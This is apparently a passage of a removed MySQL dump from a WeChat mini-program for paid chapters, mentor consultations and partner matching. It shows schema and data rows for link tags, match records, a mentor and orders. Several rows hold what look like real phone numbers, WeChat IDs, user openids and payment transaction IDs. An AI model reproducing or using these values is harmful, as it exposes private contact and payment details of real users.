UNIQUE INDEX `idx_link_tags_tag_id`(`tag_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of link_tags --- ---------------------------- -INSERT INTO `link_tags` VALUES (2, 'soul-party', 'Soul派对房', 'https://mp.weixin.qq.com', 'url', '', '', '2026-03-08 21:33:25.819', '2026-03-08 21:33:25.819'); -INSERT INTO `link_tags` VALUES (3, 'feishu-middle', '飞书中台', 'https://mp.weixin.qq.com', 'url', '', '', '2026-03-08 21:33:26.887', '2026-03-08 21:33:26.887'); -INSERT INTO `link_tags` VALUES (4, 'chaoji-geti', '超级个体', 'https://mp.weixin.qq.com', 'url', '', '', '2026-03-08 21:33:27.980', '2026-03-08 21:33:27.980'); -INSERT INTO `link_tags` VALUES (5, 'team01', '神仙团队', 'weixin://dl/business/?appid= wx3d15ed02e98b04e3&path=', 'miniprogram', ' wx3d15ed02e98b04e3', '', '2026-03-09 03:13:14.389', '2026-03-09 03:13:14.389'); - --- ---------------------------- --- Table structure for match_records --- ---------------------------- -DROP TABLE IF EXISTS `match_records`; -CREATE TABLE `match_records` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `match_type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `wechat_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `matched_user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `match_score` bigint(20) NULL DEFAULT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_match_type`(`match_type`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_match_records_user_id`(`user_id`) USING BTREE, - INDEX `idx_match_records_matched_user_id`(`matched_user_id`) USING BTREE, - INDEX `idx_match_records_match_type`(`match_type`) USING BTREE, - CONSTRAINT `match_records_ibfk_1` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of match_records --- ---------------------------- -INSERT INTO `match_records` VALUES ('mr_1770804956699567403', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-11 10:15:56.702'); -INSERT INTO `match_records` VALUES ('mr_1770805004828815468', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-11 10:16:44.832'); -INSERT INTO `match_records` VALUES ('mr_1770806919336562150', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-11 10:48:39.339'); -INSERT INTO `match_records` VALUES ('mr_1770861703187104958', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-12 02:01:43.190'); -INSERT INTO `match_records` VALUES ('mr_1770885536498175895', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-12 08:38:56.501'); -INSERT INTO `match_records` VALUES ('mr_1770885547368768242', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-12 08:39:07.372'); -INSERT INTO `match_records` VALUES ('mr_1770890928804141065', 'ogpTW5Xep2TNeB5TyVHNRfTXli0g', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-12 10:08:48.807'); -INSERT INTO `match_records` VALUES ('mr_1770895165595454190', 'ogpTW5YmVi5VbAiljywgz3RYH_u0', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-12 11:19:25.598'); -INSERT INTO `match_records` VALUES ('mr_1770963380155001815', 'ogpTW5ROpk78CF_4viydnmRylq_M', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 06:16:20.158'); -INSERT INTO `match_records` VALUES ('mr_1770963991711647153', 'ogpTW5ZeHTG5gcgtHzHvHZhD7RRc', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 06:26:31.714'); -INSERT INTO `match_records` VALUES ('mr_1770964964949931851', 'ogpTW5aca9PhE5Jsd5u4I6e_S3P0', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 06:42:44.953'); -INSERT INTO `match_records` VALUES ('mr_1770965475463299650', 'ogpTW5bTVAL4LlYxH3EEweBrohHo', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 06:51:15.466'); -INSERT INTO `match_records` VALUES ('mr_1770966226395093681', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'partner', '15260158253', 'flydo888', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-13 07:03:46.398'); -INSERT INTO `match_records` VALUES ('mr_1770966233146470319', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'partner', '13110806007', NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 07:03:53.149'); -INSERT INTO `match_records` VALUES ('mr_1771540020937739941', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-19 22:27:00.947'); -INSERT INTO `match_records` VALUES ('mr_1771540136253678427', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-19 22:28:56.257'); -INSERT INTO `match_records` VALUES ('mr_1771678775832604544', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-21 12:59:35.835'); -INSERT INTO `match_records` VALUES ('mr_1771824547611240589', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-23 05:29:07.614'); -INSERT INTO `match_records` VALUES ('mr_1771827188248747334', 'ogpTW5dBNnNpqttcxUbMBlG75Q38', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-23 06:13:08.251'); -INSERT INTO `match_records` VALUES ('mr_1771827201966857300', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-23 06:13:21.969'); -INSERT INTO `match_records` VALUES ('mr_1771827226107083783', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-23 06:13:46.110'); -INSERT INTO `match_records` VALUES ('mr_1771827227341622091', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-23 06:13:47.344'); -INSERT INTO `match_records` VALUES ('mr_1771827530483067382', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-23 06:18:50.486'); -INSERT INTO `match_records` VALUES ('mr_1772232522281546997', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-27 22:48:42.284'); -INSERT INTO `match_records` VALUES ('mr_1772271819401106771', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-28 09:43:39.404'); -INSERT INTO `match_records` VALUES ('mr_1772414053746863430', 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-02 01:14:13.750'); -INSERT INTO `match_records` VALUES ('mr_1772509368959878803', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-03 03:42:48.964'); -INSERT INTO `match_records` VALUES ('mr_1772519550860205027', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-03 06:32:30.863'); -INSERT INTO `match_records` VALUES ('mr_1772544964498056496', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-03 13:36:04.501'); -INSERT INTO `match_records` VALUES ('mr_1772595995934664476', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-04 03:46:35.937'); -INSERT INTO `match_records` VALUES ('mr_1772606567025247876', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-04 06:42:47.028'); -INSERT INTO `match_records` VALUES ('mr_1772616889602405660', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-04 09:34:49.605'); -INSERT INTO `match_records` VALUES ('mr_1772617182100756994', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-04 09:39:42.103'); -INSERT INTO `match_records` VALUES ('mr_1772617188968950443', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-04 09:39:48.972'); -INSERT INTO `match_records` VALUES ('mr_1772617189830060188', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-04 09:39:49.833'); -INSERT INTO `match_records` VALUES ('mr_1772703407931306772', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-05 09:36:47.935'); -INSERT INTO `match_records` VALUES ('mr_1772703416870561210', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-05 09:36:56.875'); -INSERT INTO `match_records` VALUES ('mr_1772770366425860657', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-06 04:12:46.429'); -INSERT INTO `match_records` VALUES ('mr_1772772327369549402', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-06 04:45:27.374'); -INSERT INTO `match_records` VALUES ('mr_1772897369773413580', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-07 15:29:29.777'); -INSERT INTO `match_records` VALUES ('mr_1772897376392829603', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-07 15:29:36.397'); -INSERT INTO `match_records` VALUES ('mr_1772897386839273275', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-07 15:29:46.843'); -INSERT INTO `match_records` VALUES ('mr_1772937983066978338', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, '2026-03-08 02:46:23.071'); -INSERT INTO `match_records` VALUES ('mr_1772937988950332134', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, '2026-03-08 02:46:28.960'); -INSERT INTO `match_records` VALUES ('mr_1772937993530540546', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, '2026-03-08 02:46:33.534'); -INSERT INTO `match_records` VALUES ('mr_1773021935718770486', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-09 02:05:35.721'); -INSERT INTO `match_records` VALUES ('mr_1773049220159781585', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-09 09:40:20.164'); -INSERT INTO `match_records` VALUES ('mr_ckb_1772957667864706965', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'team', '15880802661', NULL, '', NULL, NULL, '2026-03-08 08:14:27.869'); -INSERT INTO `match_records` VALUES ('mr_ckb_1772957675975833270', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'team', '15880802661', NULL, '', NULL, NULL, '2026-03-08 08:14:35.980'); -INSERT INTO `match_records` VALUES ('mr_ckb_1772958488187841888', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'team', '15880802661', NULL, '', NULL, NULL, '2026-03-08 08:28:08.192'); -INSERT INTO `match_records` VALUES ('mr_ckb_1773049324947821925', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'team', '11111111111', NULL, '', NULL, NULL, '2026-03-09 09:42:04.950'); - --- ---------------------------- --- Table structure for mentor_consultations --- ---------------------------- -DROP TABLE IF EXISTS `mentor_consultations`; -CREATE TABLE `mentor_consultations` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `user_id` bigint(20) NOT NULL, - `mentor_id` bigint(20) NOT NULL, - `consultation_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `amount` decimal(10, 2) NOT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'created', - `order_id` bigint(20) NULL DEFAULT NULL, - `scheduled_at` datetime(3) NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_mentor_consultations_status`(`status`) USING BTREE, - INDEX `idx_mentor_consultations_user_id`(`user_id`) USING BTREE, - INDEX `idx_mentor_consultations_mentor_id`(`mentor_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mentor_consultations --- ---------------------------- - --- ---------------------------- --- Table structure for mentors --- ---------------------------- -DROP TABLE IF EXISTS `mentors`; -CREATE TABLE `mentors` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `name` varchar(80) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `intro` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `tags` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `price_single` decimal(10, 2) NULL DEFAULT NULL, - `price_half_year` decimal(10, 2) NULL DEFAULT NULL, - `price_year` decimal(10, 2) NULL DEFAULT NULL, - `quote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `why_find` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `offering` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `judgment_style` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `sort` bigint(20) NULL DEFAULT 0, - `enabled` tinyint(1) NULL DEFAULT 1, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mentors --- ---------------------------- -INSERT INTO `mentors` VALUES (1, '/uploads/mentors/1772701633687431723_j43sg9.png', '卡若', '大多数人失败,不是因为不努力,而是把精力投进了一个一开始就不该参与的结构里。', '结构判断型咨询', 980.00, 19800.00, 29800.00, '共同问题不是能力,而是缺乏一次高质量的判断', '做事的人,犹豫的人,已投入的人', '项目结构判断,人x项目匹配,风险止损判断', '冷静、克制、偏风险视角、偏长期主义', 0, 1, '2026-03-05 09:10:00.205', '2026-03-05 09:10:00.205'); - --- ---------------------------- --- Table structure for orders --- ---------------------------- -DROP TABLE IF EXISTS `orders`; -CREATE TABLE `orders` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `order_sn` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `open_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `product_type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `product_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `amount` decimal(10, 2) NOT NULL, - `description` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `transaction_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `pay_time` datetime(3) NULL DEFAULT NULL, - `referral_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `referrer_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - `refund_reason` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_orders_order_sn`(`order_sn`) USING BTREE, - INDEX `idx_order_sn`(`order_sn`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_status_created`(`status`, `created_at`) USING BTREE, - CONSTRAINT `orders_ibfk_1` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of orders --- ---------------------------- -INSERT INTO `orders` VALUES ('MP20260205090617850214', 'MP20260205090617850214', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'section', '9.13', 1.00, '章节-9.13', 'paid', '4200003087202602056726052469', '2026-02-05 09:06:23.000', NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-05 09:06:17.000', '2026-02-05 09:06:23.000', NULL); -INSERT INTO `orders` VALUES ('MP20260205090920622597', 'MP20260205090920622597', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'ogpTW5eDYtFiv61kJCCwWbsXCBZY', 'section', '8.1', 1.00, '章节-8.1', 'paid', '4200003077202602051616197429', '2026-02-05 09:09:39.000', NULL, NULL, '2026-02-05 09:09:20.000', '2026-02-05 09:09:39.000', NULL); -INSERT INTO `orders` VALUES ('MP20260209200936995298', 'MP20260209200936995298', 'ogpTW5enUogenRCFwciHdLMiXgvw', 'ogpTW5enUogenRCFwciHdLMiXgvw', 'section', '4.1', 1.00, '章节4.1-4.1', 'created', NULL, NULL, '', NULL, '2026-02-09 12:09:37.000', '2026-02-09 12:09:37.000', NULL); -INSERT INTO `orders` VALUES ('MP20260209200937447063', 'MP20260209200937447063', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'section', '4.1', 1.00, '章节4.1-4.1', 'created', NULL, NULL, '', NULL, '2026-02-09 12:09:37.000', '2026-02-09 12:09:37.000', NULL); -INSERT INTO `orders` VALUES ('MP20260210111621622889', 'MP20260210111621622889', 'ogpTW5R253v5YCNQs3IXygDJZz2o', 'ogpTW5R253v5YCNQs3IXygDJZz2o', 'section', '4.1', 1.00, '章节4.1-4.1', 'created', NULL, NULL, '', NULL, '2026-02-10 03:16:21.000', '2026-02-10 03:16:21.000', NULL); -INSERT INTO `orders` VALUES ('MP20260210111621966577', 'MP20260210111621966577', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'section', '4.1', 1.00, '章节4.1-4.1', 'created', NULL, NULL, '', NULL, '2026-02-10 03:16:21.000', '2026-02-10 03:16:21.000', NULL); -INSERT INTO `orders` VALUES ('MP20260211182013440086', 'MP20260211182013440086', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'section', '1.2', 0.90, '章节1.2-1.2', 'paid', '4200003066202602113087619658', '2026-02-11 10:20:24.000', 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-02-11 10:20:14.000', '2026-02-11 10:20:24.000', NULL); -INSERT INTO `orders` VALUES ('MP20260211203419167650', 'MP20260211203419167650', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'section', '1.3', 0.90, '章节1.3-1.3', 'paid', '4200003005202602119913870761', '2026-02-11 12:34:27.000', 'SOUL6EGC-G', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '2026-02-11 12:34:19.000', '2026-02-11 12:34:27.000', NULL); -INSERT INTO `orders` VALUES ('MP20260211230657792230', 'MP20260211230657792230', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'section', '5.5', 1.00, '章节5.5-5.5', 'created', NULL, NULL, '', NULL, '2026-02-11 15:06:58.000', '2026-02-11 15:06:58.000', NULL); -INSERT INTO `orders` VALUES ('MP20260213143645272080', 'MP20260213143645272080', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'section', '1.2', 0.95, '章节1.2-老墨:资源整合高手的社交方法', 'created', NULL, NULL, '', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '2026-02-13 06:36:45.000', '2026-02-13 06:36:45.000', NULL); -INSERT INTO `orders` VALUES ('MP20260218101222232284', 'MP20260218101222232284', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'section', '4.1', 1.00, '章节4.1-章节 4.1', 'paid', '4200003009202602187012157165', '2026-02-18 02:12:31.000', '', NULL, '2026-02-18 02:12:23.000', '2026-02-18 02:12:31.000', NULL); -INSERT INTO `orders` VALUES ('MP20260218101838249249', 'MP20260218101838249249', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'section', '5.3', 1.00, '章节5.3-章节 5.3', 'paid', '4200003002202602181466017963', '2026-02-18 02:18:44.000', '', NULL, '2026-02-18 02:18:39.000', '2026-02-18 02:18:44.000', NULL); -INSERT INTO `orders` VALUES ('MP20260218102956851432', 'MP20260218102956851432', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'section', '8.5', 1.00, '章节8.5-章节 8.5', 'created', NULL, NULL, '', NULL, '2026-02-18 02:29:57.000', '2026-02-18 02:29:57.000', NULL); -INSERT INTO `orders` VALUES ('MP20260218104028663573', 'MP20260218104028663573', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'ogpTW5eb1OnMqQ1n9013TgGOaLeM', 'section', '8.6', 1.00, '章节8.6-章节 8.6', 'paid', '4200003068202602181423273264', '2026-02-18 02:40:34.000', '', NULL, '2026-02-18 02:40:29.000', '2026-02-18 02:40:34.000', NULL); -INSERT INTO `orders` VALUES ('MP20260219060555140278', 'MP20260219060555140278', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.15', 0.95, '章节9.15-章节 9.15', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-18 22:05:55.000', '2026-02-18 22:05:55.000', NULL); -INSERT INTO `orders` VALUES ('MP20260219060648580861', 'MP20260219060648580861', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.15', 0.95, '章节9.15-章节 9.15', 'paid', '4200003080202602199741991827', '2026-02-18 22:06:56.000', 'SOUL6EGC-G', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-18 22:06:48.000', '2026-02-18 22:06:56.000', NULL); -INSERT INTO `orders` VALUES ('MP20260222055212912774', 'MP20260222055212912774', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '9.17', 0.95, '章节9.17-章节 9.17', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-21 21:52:13.000', '2026-02-21 21:52:13.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223140725233277', 'MP20260223140725233277', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'section', '9.20', 0.95, '章节9.20-章节 9.20', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 06:07:25.000', '2026-02-23 06:07:25.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223163543756681', 'MP20260223163543756681', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'section', '3.1', 0.95, '章节3.1-3.1', 'created', NULL, NULL, '', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 08:35:43.000', '2026-02-23 08:35:43.000', NULL); -INSERT INTO `orders` VALUES ('MP20260223173624729671', 'MP20260223173624729671', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '', 'vip_annual', 1980.00, 'VIP年度会员', 'created', NULL, NULL, 'SOUL2XYSRI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', '2026-02-23 17:36:24.000', '2026-02-23 